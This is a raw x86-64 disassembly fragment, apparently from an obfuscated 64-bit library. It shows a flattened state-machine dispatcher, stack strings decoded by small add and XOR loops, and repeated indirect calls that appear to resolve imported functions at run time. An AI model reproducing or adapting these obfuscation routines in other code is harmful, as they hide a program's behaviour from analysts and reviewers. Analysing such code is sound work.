mov eax, 0xb4a95d5c
jmp 0x180013700
cmp eax, 0xff180b74
je 0x1800163df
cmp eax, 0x89b416
jne 0x180013700
movaps xmm0, xmmword [str._yH_Ao_GMo_ELgHDU_a30_t_____v_3]
movaps xmmword [rsp + 0x30], xmm0
mov word [rsp + 0x40], 0x684c
mov rax, qword [rsp + 0x98]
mov qword [rsp + 0x20], rax
mov ecx, 0x3978030d
mov rax, qword [rsp + 0x238]
cmp ecx, 0xd81991af
je 0x180016451
cmp ecx, 0x3978030d
jne 0x1800148b2
mov byte [rax], 0
inc rax
cmp rax, qword [rsp + 0x20]
mov ecx, 0x3978030d
mov edx, 0xd81991af
cmove ecx, edx
jmp 0x1800148b2
cmp eax, 0xbd73a7f8
je 0x1800164a3
cmp eax, 0xbff7d4af
jne 0x180013700
movaps xmm0, xmmword [0x180028840]
movaps xmmword [rsp + 0x30], xmm0
mov word [rsp + 0x40], 0x4f46
mov byte [rsp + 0x42], 0x77
mov rax, qword [rsp + 0xb0]
mov qword [rsp + 0x20], rax
mov ecx, 0x75a24824
mov rax, qword [rsp + 0x208]
cmp ecx, 0x84edc744
je 0x1800164b5
cmp ecx, 0x75a24824
jne 0x180014928
mov byte [rax], 0
inc rax
cmp rax, qword [rsp + 0x20]
mov ecx, 0x75a24824
mov edx, 0x84edc744
cmove ecx, edx
jmp 0x180014928
cmp eax, 0x484092f2
je 0x180016507
cmp eax, 0x485f5b16
jne 0x180013700
movabs rax, 0x7c7e3f271f3b0148
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x38], 0x2b273a18
mov word [rsp + 0x3c], 0x3b2d
mov byte [rsp + 0x3e], 0x3b
mov rax, qword [rsp + 0xa0]
mov qword [rsp + 0x20], rax
mov ecx, 0x79a476f
mov rax, r13
cmp ecx, 0x38a8d40c
je 0x18001656a
cmp ecx, 0x79a476f
jne 0x1800149a4
mov byte [rax], 0
inc rax
cmp rax, qword [rsp + 0x20]
mov ecx, 0x79a476f
mov edx, 0x38a8d40c
cmove ecx, edx
jmp 0x1800149a4
cmp eax, 0x8f6ae496
je 0x1800165bc
cmp eax, 0x92b81344
jne 0x180013700
mov eax, 0xb4a95d5c
mov dword [rsp + 0x2c], 0x2d
jmp 0x180013700
cmp eax, 0x22df8663
je 0x1800165ce
cmp eax, 0x25b132f7
jne 0x180013700
mov dword [rsp + 0x2c], 0x3f
mov eax, 0xb4a95d5c
jmp 0x180013700
cmp eax, 0xe32fc4bb
je 0x180014da8
cmp eax, 0xe35e60de
jne 0x180013700
movaps xmm0, xmmword [0x180028740]
movaps xmmword [rsp + 0x30], xmm0
xor eax, eax
mov ecx, 0xc6b76eaa
cmp ecx, 0x9d7094ef
je 0x18001662f
cmp ecx, 0xdfb13f83
je 0x180014a84
cmp ecx, 0xc6b76eaa
jne 0x180014a4b
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0x20]
cmp rcx, 0xf
mov ecx, 0x9d7094ef
mov edx, 0xdfb13f83
cmovb ecx, edx
jmp 0x180014a4b
mov rax, qword [rsp + 0x20]
add byte [rsp + rax + 0x30], 0xf7
mov rax, qword [rsp + 0x20]
inc rax
jmp 0x180014a46
cmp eax, 0x72716a56
je 0x180016655
cmp eax, 0x72e9e129
jne 0x180013700
mov eax, 0xb4a95d5c
mov dword [rsp + 0x2c], 0xb
jmp 0x180013700
cmp eax, 0xadb6f067
je 0x180016667
cmp eax, 0xae69026f
jne 0x180013700
mov eax, 0xb4a95d5c
mov dword [rsp + 0x2c], 0x2c
jmp 0x180013700
cmp eax, 0x114055e5
je 0x1800166b5
cmp eax, 0x128d8614
jne 0x180013700
movaps xmm0, xmmword [0x180028790]
movaps xmmword [rsp + 0x30], xmm0
mov byte [rsp + 0x40], 0
xor eax, eax
mov ecx, 0xf0bd907
cmp ecx, 0x58783e8
je 0x18001672b
cmp ecx, 0x61b9a2d3
je 0x180014b4f
cmp ecx, 0xf0bd907
jne 0x180014b16
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0x20]
cmp rcx, 0x10
mov ecx, 0x58783e8
mov edx, 0x61b9a2d3
cmovb ecx, edx
jmp 0x180014b16
mov rax, qword [rsp + 0x20]
add byte [rsp + rax + 0x30], 0xf5
mov rax, qword [rsp + 0x20]
inc rax
jmp 0x180014b11
cmp eax, 0xd6148bf6
je 0x180016754
cmp eax, 0xd67a7cfe
jne 0x180013700
mov eax, 0xb4a95d5c
mov dword [rsp + 0x2c], 0x2b
jmp 0x180013700
cmp eax, 0x594a01d7
je 0x180016766
cmp eax, 0x59f7b271
jne 0x180013700
movabs rax, 0x627f774666775512
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x38], 0x7a667342
mov byte [rsp + 0x3c], 0x53
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0x20], rax
mov ecx, 0x52203f49
mov rax, qword [rsp + 0x200]
cmp ecx, 0x883def04
je 0x1800167c4
cmp ecx, 0x52203f49
jne 0x180014bd4
mov byte [rax], 0
inc rax
cmp rax, qword [rsp + 0x20]
mov ecx, 0x52203f49
mov edx, 0x883def04
cmove ecx, edx
jmp 0x180014bd4
cmp eax, 0xa23a9c87
je 0x180016816
cmp eax, 0xa2de7785
jne 0x180013700
movabs rax, 0x33346a7162776542
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x38], 0x6d6d652f
mov byte [rsp + 0x3c], 0
xor eax, eax
mov ecx, 0x938e2cc0
cmp ecx, 0x7ac61a74
je 0x180014c74
cmp ecx, 0xb5094b6b
je 0x18001686b
cmp ecx, 0x938e2cc0
jne 0x180014c3b
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0x20]
cmp rcx, 0xc
mov ecx, 0xb5094b6b
mov edx, 0x7ac61a74
cmovb ecx, edx
jmp 0x180014c3b
mov rax, qword [rsp + 0x20]
dec byte [rsp + rax + 0x30]
mov rax, qword [rsp + 0x20]
inc rax
jmp 0x180014c36
cmp eax, 0x3604c8ba
je 0x180016891
cmp eax, 0x36052622
jne 0x180013700
mov eax, 0xb4a95d5c
mov dword [rsp + 0x2c], 0x33
jmp 0x180013700
cmp eax, 0xf297f59b
je 0x1800168a3
cmp eax, 0xf2f542cd
jne 0x180013700
mov dword [rsp + 0x2c], 0x35
mov eax, 0xb4a95d5c
jmp 0x180013700
cmp eax, 0x7c20e11f
je 0x180016904
cmp eax, 0x7ce5d092
jne 0x180013700
jmp 0x180014d72
cmp eax, 0xfad4dcaa
je 0x18001697b
cmp eax, 0xfe27f39d
jne 0x180013700
movabs rax, 0x3a3c123733340250
mov qword [rsp + 0x30], rax
mov byte [rsp + 0x38], 0x32
mov qword [rsp + 0x20], rdi
mov ecx, 0x5ed7edb6
mov rax, qword [rsp + 0x1b0]
cmp ecx, 0xd300eb50
je 0x180016993
cmp ecx, 0x5ed7edb6
jne 0x180014d2e
mov byte [rax], 0
inc rax
cmp rax, qword [rsp + 0x20]
mov ecx, 0x5ed7edb6
mov edx, 0xd300eb50
cmove ecx, edx
jmp 0x180014d2e
cmp eax, 0xbcba9aac
je 0x1800169ea
cmp eax, 0xbd6faf6c
jne 0x180013700
mov eax, 0xb4a95d5c
mov dword [rsp + 0x2c], 2
jmp 0x180013700
mov eax, 0xb4a95d5c
mov dword [rsp + 0x2c], 4
jmp 0x180013700
mov eax, 0xb4a95d5c
mov dword [rsp + 0x2c], 0x13
jmp 0x180013700
mov eax, 0xb4a95d5c
mov dword [rsp + 0x2c], 0x2e
jmp 0x180013700
movabs rax, 0x69516f7765587347
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x38], 0x69764a71
mov word [rsp + 0x3c], 0x69
xor eax, eax
mov ecx, 0x37941225
cmp ecx, 0xcc7ca842
je 0x180014e18
cmp ecx, 0x242cf25d
je 0x180014eb9
cmp ecx, 0x37941225
jne 0x180014ddf
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0x20]
cmp rcx, 0xd
mov ecx, 0x242cf25d
mov edx, 0xcc7ca842
cmovb ecx, edx
jmp 0x180014ddf
mov rax, qword [rsp + 0x20]
add byte [rsp + rax + 0x30], 0xfc
mov rax, qword [rsp + 0x20]
inc rax
jmp 0x180014dda
movabs rax, 0x66766144646a490e
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x38], 0x7d7a775b
mov word [rsp + 0x3c], 0x625c
mov byte [rsp + 0x3e], 0x4c
mov rax, qword [rsp + 0x148]
mov qword [rsp + 0x20], rax
mov ecx, 0xfb182343
mov rax, qword [rsp + 0x140]
cmp ecx, 0x687ecc68
je 0x180014edf
cmp ecx, 0xfb182343
jne 0x180014e69
mov byte [rax], 0
inc rax
cmp rax, qword [rsp + 0x20]
mov ecx, 0xfb182343
mov edx, 0x687ecc68
cmove ecx, edx
jmp 0x180014e69
mov rcx, qword [rsp + 0x50]
mov rdx, rsi
call rbx
mov qword [0x18003a240], rax
test rax, rax
mov eax, 0xa6678b6d
mov ecx, 0xae69026f
cmove eax, ecx
jmp 0x180013700
mov rcx, qword [rsp + 0x58]
mov rdx, rsi
call rbx
mov qword [0x18003a310], rax
test rax, rax
mov eax, 0xaf07cde7
mov ecx, 0x33d72999
cmove eax, ecx
jmp 0x180013700
xor eax, eax
mov ecx, 0xf95febd3
cmp ecx, 0xf3ef4eca
je 0x180014f1b
cmp ecx, 0x1cb9a3af
je 0x180014f32
cmp ecx, 0xf95febd3
jne 0x180014ee6
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0x20]
cmp rcx, 0xe
mov ecx, 0x1cb9a3af
mov edx, 0xf3ef4eca
cmovb ecx, edx
jmp 0x180014ee6
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x20]
add cl, byte [rsp + 0x30]
xor byte [rsp + rax + 0x31], cl
inc rax
jmp 0x180014ee1
mov byte [rsp + 0x3f], 0
mov rcx, qword [rsp + 0x150]
mov rdx, r15
call rbx
mov qword [0x18003a330], rax
test rax, rax
mov eax, 0x74923c3e
mov ecx, 0x61fa78c
cmove eax, ecx
jmp 0x180013700
mov dword [rsp + 0x2c], 0x65
mov eax, 0xb4a95d5c
jmp 0x180013700
movaps xmmword [rsp + 0x30], xmm14
mov word [rsp + 0x40], 0x7b7a
mov rax, qword [rsp + 0x98]
mov qword [rsp + 0x20], rax
mov ecx, 0x129d61aa
mov rax, qword [rsp + 0xc0]
cmp ecx, 0x8b84fbdc
je 0x1800169fc
cmp ecx, 0x129d61aa
jne 0x180014f99
mov byte [rax], 0
inc rax
cmp rax, qword [rsp + 0x20]
mov ecx, 0x129d61aa
mov edx, 0x8b84fbdc
cmove ecx, edx
jmp 0x180014f99
mov eax, 0xb4a95d5c
mov dword [rsp + 0x2c], 0x35
jmp 0x180013700
movabs rax, 0x30629161f002c6f
mov qword [rsp + 0x30], rax
mov word [rsp + 0x38], 0x380a
mov rax, qword [rsp + 0x88]
mov qword [rsp + 0x20], rax
mov ecx, 0xc28d79cc
mov rax, qword [rsp + 0x198]
cmp ecx, 0x3f46e4b1
je 0x180016a4e
cmp ecx, 0xc28d79cc
jne 0x180015009
mov byte [rax], 0
inc rax
cmp rax, qword [rsp + 0x20]
mov ecx, 0xc28d79cc
mov edx, 0x3f46e4b1
cmove ecx, edx
jmp 0x180015009
movaps xmm0, xmmword [0x1800286b0]
movaps xmmword [rsp + 0x30], xmm0
mov dword [rsp + 0x40], 0x91d0f03
mov byte [rsp + 0x44], 0x30
mov rax, qword [rsp + 0xf8]
mov qword [rsp + 0x20], rax
mov ecx, 0x9524b8b5
mov rax, qword [rsp + 0x1d0]
cmp ecx, 0x4c0cf999
je 0x180016aa0
cmp ecx, 0x9524b8b5
jne 0x18001506a
mov byte [rax], 0
inc rax
cmp rax, qword [rsp + 0x20]
mov ecx, 0x9524b8b5
mov edx, 0x4c0cf999
cmove ecx, edx
jmp 0x18001506a
mov dword [rsp + 0x2c], 0x64
mov eax, 0xb4a95d5c
jmp 0x180013700
mov dword [rsp + 0x2c], 0x70
mov eax, 0xb4a95d5c
jmp 0x180013700
movabs rax, 0x76747361656d6d32
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x38], 0x5761417b
mov byte [rsp + 0x3c], 0x46
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0x20], rax
mov ecx, 0x3c674aa5
mov rax, qword [rsp + 0x110]
cmp ecx, 0x827a9d89
je 0x180016af7
cmp ecx, 0x3c674aa5
jne 0x1800150ef
mov byte [rax], 0
inc rax
cmp rax, qword [rsp + 0x20]
mov ecx, 0x3c674aa5
mov edx, 0x827a9d89
cmove ecx, edx
jmp 0x1800150ef
mov rcx, qword [rsp + 0x60]
mov rdx, rsi
call rbx
mov qword [0x18003a350], rax
test rax, rax
mov eax, 0x9856134d
mov ecx, 0xb9afa176
cmove eax, ecx
jmp 0x180013700
movabs rax, 0x1d0316190d081e6c
mov qword [rsp + 0x30], rax
mov byte [rsp + 0x38], 0x1e
mov rax, qword [rsp + 0xe8]
mov qword [rsp + 0x20], rax
mov ecx, 0x5a9b7a53
mov rax, qword [rsp + 0x1a8]
cmp ecx, 0xb0e00559
je 0x180016b49
cmp ecx, 0x5a9b7a53
jne 0x180015171
mov byte [rax], 0
inc rax
cmp rax, qword [rsp + 0x20]
mov ecx, 0x5a9b7a53
mov edx, 0xb0e00559
cmove ecx, edx
jmp 0x180015171
mov dword [rsp + 0x2c], 0x32
mov eax, 0xb4a95d5c
jmp 0x180013700
mov eax, 0xb4a95d5c
mov dword [rsp + 0x2c], 0x3c
jmp 0x180013700
mov eax, 0xb4a95d5c
mov dword [rsp + 0x2c], 0x30
jmp 0x180013700
mov rcx, qword [rsp + 0x50]
mov rdx, rsi
call rbx
mov qword [0x18003a2b8], rax
test rax, rax
mov eax, 0xf76984cb
mov ecx, 0xd946488a
cmove eax, ecx
jmp 0x180013700
movaps xmm0, xmmword [0x1800287a0]
movaps xmmword [rsp + 0x30], xmm0
mov rax, qword [rsp + 0xb8]
mov qword [rsp + 0x20], rax
mov ecx, 0xdba683a5
mov rax, qword [rsp + 0x148]
cmp ecx, 0xce9a144b
je 0x180016ba0
cmp ecx, 0xdba683a5
jne 0x180015221
mov byte [rax], 0
inc rax
cmp rax, qword [rsp + 0x20]
mov ecx, 0xdba683a5
mov edx, 0xce9a144b
cmove ecx, edx
jmp 0x180015221
movaps xmm0, xmmword [0x1800287b0]
movaps xmmword [rsp + 0x30], xmm0
movabs rax, 0x6d5c5455575c4652
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x130]
mov qword [rsp + 0x20], rax
mov ecx, 0x7f357eca
mov rax, qword [rsp + 0x250]
cmp ecx, 0x7028967b
je 0x180016bf7
cmp ecx, 0x7f357eca
jne 0x180015284
mov byte [rax], 0
inc rax
cmp rax, qword [rsp + 0x20]
mov ecx, 0x7f357eca
mov edx, 0x7028967b
cmove ecx, edx
jmp 0x180015284
xor eax, eax
mov ecx, 0x11ac9d2e
cmp ecx, 0xf7efbfe0
je 0x1800152f2
cmp ecx, 0x3d5830b4
je 0x180016c4e
cmp ecx, 0x11ac9d2e
jne 0x1800152b9
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0x20]
cmp rcx, 0xf
mov ecx, 0x3d5830b4
mov edx, 0xf7efbfe0
cmovb ecx, edx
jmp 0x1800152b9
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x20]
add cl, byte [rsp + 0x30]
xor byte [rsp + rax + 0x31], cl
inc rax
jmp 0x1800152b4
mov eax, 0xb4a95d5c
mov dword [rsp + 0x2c], 5
jmp 0x180013700
mov eax, 0xb4a95d5c
mov dword [rsp + 0x2c], 0x2a
jmp 0x180013700
movabs rax, 0xd13072110062562
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x38], 0x119052f
mov word [rsp + 0x3c], 0x1a0c
mov byte [rsp + 0x3e], 0x2e
mov rax, qword [rsp + 0x120]
mov qword [rsp + 0x20], rax
mov ecx, 0xd985c842
mov rax, qword [rsp + 0x1f8]
cmp ecx, 0xcfbb85ce
je 0x180016c79
cmp ecx, 0xd985c842
jne 0x18001536a
mov byte [rax], 0
inc rax
cmp rax, qword [rsp + 0x20]
mov ecx, 0xd985c842
mov edx, 0xcfbb85ce
cmove ecx, edx
jmp 0x18001536a
mov dword [rsp + 0x2c], 0x37
mov eax, 0xb4a95d5c
jmp 0x180013700
xor eax, eax
mov ecx, 0xef0ea17d
cmp ecx, 0x6a6411bb
je 0x180016cd0
cmp ecx, 0xf4c64066
je 0x1800153ea
cmp ecx, 0xef0ea17d
jne 0x1800153b1
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0x20]
cmp rcx, 0x14
mov ecx, 0x6a6411bb
mov edx, 0xf4c64066
cmovb ecx, edx
jmp 0x1800153b1
mov rax, qword [rsp + 0x20]
mov cl, byte [rsp + 0x30]
xor byte [rsp + rax + 0x31], cl
inc rax
jmp 0x1800153ac
mov dword [rsp + 0x2c], 0x6e
mov eax, 0xb4a95d5c
jmp 0x180013700
mov eax, 0xb4a95d5c
mov dword [rsp + 0x2c], 0xc
jmp 0x180013700
mov eax, 0xb4a95d5c
mov dword [rsp + 0x2c], 1
jmp 0x180013700
mov eax, 0xb4a95d5c
mov dword [rsp + 0x2c], 0x31
jmp 0x180013700
mov rcx, qword [rsp + 0x50]
mov rdx, rsi
call rbx
mov qword [0x18003a260], rax
test rax, rax
mov eax, 0x7b8e11bc
mov ecx, 0x92b81344
cmove eax, ecx
jmp 0x180013700
mov eax, 0xb4a95d5c
mov dword [rsp + 0x2c], 0xf
jmp 0x180013700
movabs rax, 0x2c19081d190e3f7c
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x38], 0x191f130e
mov word [rsp + 0x3c], 0xf0f
mov byte [rsp + 0x3e], 0x3d
mov rax, qword [rsp + 0xa0]
mov qword [rsp + 0x20], rax
mov ecx, 0xdd88a8a5
mov rax, qword [rsp + 0x1e8]
cmp ecx, 0x2e7a2a1c
je 0x180016cfb
cmp ecx, 0xdd88a8a5
jne 0x1800154b9
mov byte [rax], 0
inc rax
cmp rax, qword [rsp + 0x20]
mov ecx, 0xdd88a8a5
mov edx, 0x2e7a2a1c
cmove ecx, edx
jmp 0x1800154b9
xor eax, eax
mov ecx, 0xd8470d4f
cmp ecx, 0x64932d0a
je 0x180015527
cmp ecx, 0xdb653d56
je 0x180016d4d
cmp ecx, 0xd8470d4f
jne 0x1800154ee
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0x20]
cmp rcx, 0xd
mov ecx, 0xdb653d56
mov edx, 0x64932d0a
cmovb ecx, edx
jmp 0x1800154ee
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x20]
add cl, byte [rsp + 0x30]
xor byte [rsp + rax + 0x31], cl
inc rax
jmp 0x1800154e9
movabs rax, 0x3e263c3d3f253d4a
mov qword [rsp + 0x30], rax
mov word [rsp + 0x38], 0x3425
mov byte [rsp + 0x3a], 0x12
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x20], rax
mov ecx, 0xe6339972
mov rax, qword [rsp + 0x168]
cmp ecx, 0xb0955245
je 0x180016d7b
cmp ecx, 0xe6339972
jne 0x180015570
mov byte [rax], 0
inc rax
cmp rax, qword [rsp + 0x20]
mov ecx, 0xe6339972
mov edx, 0xb0955245
cmove ecx, edx
jmp 0x180015570
mov eax, 0xb4a95d5c
mov dword [rsp + 0x2c], 0x39
jmp 0x180013700
mov dword [rsp + 0x2c], 0x40
mov eax, 0xb4a95d5c
jmp 0x180013700
movaps xmm0, xmmword [0x180028860]
movaps xmmword [rsp + 0x30], xmm0
mov dword [rsp + 0x40], 0xd300610
mov byte [rsp + 0x44], 0x34
mov rax, qword [rsp + 0x100]
mov qword [rsp + 0x20], rax
mov ecx, 0xa07856ad
mov rax, qword [rsp + 0x90]
cmp ecx, 0x712533ec
je 0x180016dd2
cmp ecx, 0xa07856ad
jne 0x1800155f5
mov byte [rax], 0
inc rax
cmp rax, qword [rsp + 0x20]
mov ecx, 0xa07856ad
mov edx, 0x712533ec
cmove ecx, edx
jmp 0x1800155f5
xor eax, eax
mov ecx, 0x19512a9d
cmp ecx, 0xab3036e9
je 0x180015663
cmp ecx, 0xb4dd02be
je 0x180016e24
cmp ecx, 0x19512a9d
jne 0x18001562a
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0x20]
cmp rcx, 0x12
mov ecx, 0xb4dd02be
mov edx, 0xab3036e9
cmovb ecx, edx
jmp 0x18001562a
mov rax, qword [rsp + 0x20]
mov cl, byte [rsp + 0x30]
xor byte [rsp + rax + 0x31], cl
inc rax
jmp 0x180015625
mov eax, 0xb4a95d5c
mov dword [rsp + 0x2c], 7
jmp 0x180013700
movabs rax, 0x2a213c1e3a2b094e
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x38], 0x73a2d3b
mov word [rsp + 0x3c], 0x2820
mov byte [rsp + 0x3e], 0x21
mov rax, qword [rsp + 0xa0]
mov qword [rsp + 0x20], rax
mov ecx, 0xc9c137ec
mov rax, qword [rsp + 0x1e0]
cmp ecx, 0x4e8596a4
je 0x180016e4f
cmp ecx, 0xc9c137ec
jne 0x1800156c4
mov byte [rax], 0
inc rax
cmp rax, qword [rsp + 0x20]
mov ecx, 0xc9c137ec
mov edx, 0x4e8596a4
cmove ecx, edx
jmp 0x1800156c4
movaps xmmword [rsp + 0x30], xmm7
mov byte [rsp + 0x40], 0
xor eax, eax
mov ecx, 0xae8d97a4
cmp ecx, 0x82703c56
je 0x18001573c
cmp ecx, 0x253ff47d
je 0x180016ea1
cmp ecx, 0xae8d97a4
jne 0x180015703
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0x20]
cmp rcx, 0x10
mov ecx, 0x253ff47d
mov edx, 0x82703c56
cmovb ecx, edx
jmp 0x180015703
mov rax, qword [rsp + 0x20]
add byte [rsp + rax + 0x30], 0xf5
mov rax, qword [rsp + 0x20]
inc rax
jmp 0x1800156fe
mov eax, 0xb4a95d5c
mov dword [rsp + 0x2c], 0x29
jmp 0x180013700
movaps xmm0, xmmword [0x1800287d0]
movaps xmmword [rsp + 0x30], xmm0
mov dword [rsp + 0x40], 0x235e7d53
mov word [rsp + 0x44], 0x2729
lea rax, [rsp + 0x47]
mov qword [rsp + 0x20], rax
mov ecx, 0x8bddb960
mov rax, qword [rsp + 0xf8]
cmp ecx, 0x22b102f6
je 0x180016ec7
cmp ecx, 0x8bddb960
jne 0x180015794
mov byte [rax], 0
inc rax
cmp rax, qword [rsp + 0x20]
mov ecx, 0x8bddb960
mov edx, 0x22b102f6
cmove ecx, edx
jmp 0x180015794
movabs rax, 0x7665650a66200552
mov qword [rsp + 0x30], rax
mov word [rsp + 0x38], 0x363d
mov byte [rsp + 0x3a], 0x37
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x20], rax
mov ecx, 0x989a5ce5
mov rax, qword [rsp + 0x178]
cmp ecx, 0xc2f01ce5
je 0x180016f1e
cmp ecx, 0x989a5ce5
jne 0x1800157f4
mov byte [rax], 0
inc rax
cmp rax, qword [rsp + 0x20]
mov ecx, 0x989a5ce5
mov edx, 0xc2f01ce5
cmove ecx, edx
jmp 0x1800157f4
movaps xmm0, xmmword [0x180028700]
movaps xmmword [rsp + 0x30], xmm0
mov byte [rsp + 0x40], 0x13
mov rax, qword [rsp + 0xc0]
mov qword [rsp + 0x20], rax
mov ecx, 0xa132450e
mov rax, qword [rsp + 0x228]
cmp ecx, 0xc4353215
je 0x180016f75
cmp ecx, 0xa132450e
jne 0x18001584d
mov byte [rax], 0
inc rax
cmp rax, qword [rsp + 0x20]
mov ecx, 0xa132450e
mov edx, 0xc4353215
cmove ecx, edx
jmp 0x18001584d
movabs rax, 0x647b7b102b310f44
mov qword [rsp + 0x30], rax
mov word [rsp + 0x38], 0x202f
mov byte [rsp + 0x3a], 0x21
mov rax, qword [rsp + 0xf0]
mov qword [rsp + 0x20], rax
mov ecx, 0x922ef7bf
mov rax, qword [rsp + 0xe0]
cmp ecx, 0xd8f1e11d
je 0x180016fc7
cmp ecx, 0x922ef7bf
jne 0x1800158b0
mov byte [rax], 0
inc rax
cmp rax, qword [rsp + 0x20]
mov ecx, 0x922ef7bf
mov edx, 0xd8f1e11d
cmove ecx, edx
jmp 0x1800158b0
movabs rax, 0x5d5b43405c405a2d
mov qword [rsp + 0x30], rax
mov word [rsp + 0x38], 0x5340
mov byte [rsp + 0x3a], 0x61
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x20], rax
mov ecx, 0x5ba88a0a
mov rax, qword [rsp + 0x170]
cmp ecx, 0x88d11209
je 0x18001701e
cmp ecx, 0x5ba88a0a
jne 0x180015910
mov byte [rax], 0
inc rax
cmp rax, qword [rsp + 0x20]
mov ecx, 0x5ba88a0a
mov edx, 0x88d11209
cmove ecx, edx
jmp 0x180015910
movaps xmmword [rsp + 0x30], xmm9
mov dword [rsp + 0x40], 0x7c776c75
mov byte [rsp + 0x44], 0
xor eax, eax
mov ecx, 0xa8c7c404
cmp ecx, 0x953a4de0
je 0x180015991
cmp ecx, 0x45644fcc
je 0x180017075
cmp ecx, 0xa8c7c404
jne 0x180015958
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0x20]
cmp rcx, 0x14
mov ecx, 0x45644fcc
mov edx, 0x953a4de0
cmovb ecx, edx
jmp 0x180015958
mov rax, qword [rsp + 0x20]
add byte [rsp + rax + 0x30], 0xfd
mov rax, qword [rsp + 0x20]
inc rax
jmp 0x180015953
mov rcx, qword [rsp + 0x58]
mov rdx, rsi
call rbx
mov qword [0x18003a318], rax
test rax, rax
mov eax, 0xa2de7785
mov ecx, 0x5c2ae4f6
cmove eax, ecx
jmp 0x180013700
movabs rax, 0x5d59507f7d6f6b3c
mov qword [rsp + 0x30], rax
mov word [rsp + 0x38], 0x4952
mov byte [rsp + 0x3a], 0x4c
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x20], rax
mov ecx, 0x3f516265
mov rax, qword [rsp + 0x188]
cmp ecx, 0x2d4ba7a5
je 0x18001709b
cmp ecx, 0x3f516265
jne 0x1800159fd
mov byte [rax], 0
inc rax
cmp rax, qword [rsp + 0x20]
mov ecx, 0x3f516265
mov edx, 0x2d4ba7a5
cmove ecx, edx
jmp 0x1800159fd
movabs rax, 0x367178697f74707b
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x38], 0x74746c
xor eax, eax
mov ecx, 0x6c0df2ce
cmp ecx, 0xe09226c6
je 0x1800170ed
cmp ecx, 0x7cb9054
je 0x180015a82
cmp ecx, 0x6c0df2ce
jne 0x180015a49
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0x20]
cmp rcx, 0xb
mov ecx, 0xe09226c6
mov edx, 0x7cb9054
cmovb ecx, edx
jmp 0x180015a49
mov rax, qword [rsp + 0x20]
add byte [rsp + rax + 0x30], 0xf8
mov rax, qword [rsp + 0x20]
inc rax
jmp 0x180015a44
mov eax, 0xb4a95d5c
mov dword [rsp + 0x2c], 0x37
jmp 0x180013700
mov eax, 0xb4a95d5c
mov dword [rsp + 0x2c], 0x34
jmp 0x180013700
mov eax, 0xb4a95d5c
mov dword [rsp + 0x2c], 0xd
jmp 0x180013700
mov dword [rsp + 0x20], 0x555e483b
mov word [rsp + 0x24], 0x4f5f
mov byte [rsp + 0x26], 0x54
lea rax, [rsp + 0x28]
mov qword [rsp + 0x30], rax
mov ecx, 0xd8caafa6
mov rax, qword [rsp + 0x128]
cmp ecx, 0x57372863
je 0x180017119
cmp ecx, 0xd8caafa6
jne 0x180015af7
mov byte [rax], 0
inc rax
cmp rax, qword [rsp + 0x30]
mov ecx, 0xd8caafa6
mov edx, 0x57372863
cmove ecx, edx
jmp 0x180015af7
mov dword [rsp + 0x2c], 0x36
mov eax, 0xb4a95d5c
jmp 0x180013700
xor eax, eax
mov ecx, 0xb89767c8
cmp ecx, 0x3dad501a
je 0x18001716b
cmp ecx, 0xcb1c9a46
je 0x180015b77
cmp ecx, 0xb89767c8
jne 0x180015b3e
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0x20]
cmp rcx, 0x13
mov ecx, 0x3dad501a
mov edx, 0xcb1c9a46
cmovb ecx, edx
jmp 0x180015b3e
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x20]
add cl, byte [rsp + 0x30]
xor byte [rsp + rax + 0x31], cl
inc rax
jmp 0x180015b39
movabs rax, 0x74706d44656f6a47
mov qword [rsp + 0x30], rax
mov word [rsp + 0x38], 0x66
xor eax, eax
mov ecx, 0x66dc8fc4
cmp ecx, 0xf11b20f5
je 0x180015be4
cmp ecx, 0x286bec75
je 0x180017196
cmp ecx, 0x66dc8fc4
jne 0x180015bab
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0x20]
cmp rcx, 9
mov ecx, 0x286bec75
mov edx, 0xf11b20f5
cmovb ecx, edx
jmp 0x180015bab
mov rax, qword [rsp + 0x20]
dec byte [rsp + rax + 0x30]
mov rax, qword [rsp + 0x20]
inc rax
jmp 0x180015ba6
mov dword [rsp + 0x2c], 0x33
mov eax, 0xb4a95d5c
jmp 0x180013700
movabs rax, 0x797d5577677f420f
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x38], 0x4e605273
mov rax, qword [rsp + 0x108]
mov qword [rsp + 0x20], rax
mov ecx, 0x1fb6954b
mov rax, qword [rsp + 0x1b8]
cmp ecx, 0x86185f2d
je 0x1800171bc
cmp ecx, 0x1fb6954b
jne 0x180015c3a
mov byte [rax], 0
inc rax
cmp rax, qword [rsp + 0x20]
mov ecx, 0x1fb6954b
mov edx, 0x86185f2d
cmove ecx, edx
jmp 0x180015c3a
xor eax, eax
mov ecx, 0xae762849
cmp ecx, 0x4eacc72c
je 0x180015ca8
